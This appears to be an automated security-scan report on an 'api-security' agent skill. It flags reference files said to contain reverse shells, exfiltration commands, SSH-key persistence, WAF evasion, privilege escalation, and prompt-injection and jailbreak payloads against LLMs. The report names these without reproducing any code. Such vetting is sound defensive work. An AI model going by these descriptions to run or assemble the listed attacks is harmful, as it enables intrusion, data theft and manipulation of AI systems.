The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Multiple reference files contain weaponized reverse shell payloads and RCE exploits. reference/scenarios/web-llm/os-command-injection-via-llm.md provides functional bash, netcat, python, and perl reverse shell one-liners. reference/scenarios/mcp/inspector-stdio-rce.md details unauthenticated stdio command injection vulnerabilities that allow an attacker to spawn arbitrary processes on a host system.
[DATA_EXFILTRATION]: The skill documents and providing functional code for various exfiltration vectors. reference/scenarios/web-llm/insecure-output-xss.md demonstrates cookie theft and form data exfiltration. reference/scenarios/web-llm/os-command-injection-via-llm.md provides commands for DNS and HTTP exfiltration of sensitive files like /etc/passwd. reference/scenarios/websocket/cswsh.md includes a generator script for cross-site hijacking attacks to exfiltrate chat data.
[PERSISTENCE]: reference/scenarios/mcp/inspector-stdio-rce.md includes explicit instructions for establishing durable persistence by planting attacker-controlled SSH keys into a target's authorized_keys file.
[OBFUSCATION]: Several documents provide techniques for bypassing security controls using obfuscation. reference/scenarios/web-llm/insecure-output-xss.md demonstrates Base64 encoding for payload delivery using eval(atob(...)). reference/scenarios/rest/waf-bypass-techniques.md details encoding, case randomization, and comment injection specifically designed to evade WAF inspection.
[EXTERNAL_DOWNLOADS]: The skill contains multiple examples of downloading and executing remote scripts. reference/scenarios/web-llm/os-command-injection-via-llm.md demonstrates using PowerShell to download and execute remote .ps1 files, and reference/scenarios/web-llm/insecure-output-xss.md shows the use of external script sources for XSS and BeEF hooks.
[COMMAND_EXECUTION]: Instructions in SKILL.md and reference scenarios direct the agent to execute various scripts and CLI tools, including tools/fixture_ingest.py, tools/auth_replay_harness.py, ffuf, arjun, and kiterunner.
[PROMPT_INJECTION]: reference/scenarios/web-llm/prompt-injection-direct.md contains an extensive collection of jailbreak attempts, role-play scenarios, and instruction override payloads designed to bypass LLM guardrails.
[INDIRECT_PROMPT_INJECTION]: reference/scenarios/web-llm/prompt-injection-indirect.md details methods for embedding malicious instructions in external data sources like product reviews, emails, and web pages to manipulate LLM responses.
[PRIVILEGE_ESCALATION]: reference/scenarios/rest/owasp-bola-bopla.md and reference/scenarios/rest/options-method-enumeration.md provide detailed methodologies for performing Horizontal and Vertical privilege escalation through BOLA and BFLA attacks.
[CREDENTIALS_UNSAFE]: reference/scenarios/rest/cognito-unauth-and-srp.md and reference/scenarios/rest/mattermost-slash-command-dialog-hijack.md include functional scripts designed to manipulate authentication flows, session identifiers, and security tokens.

api-security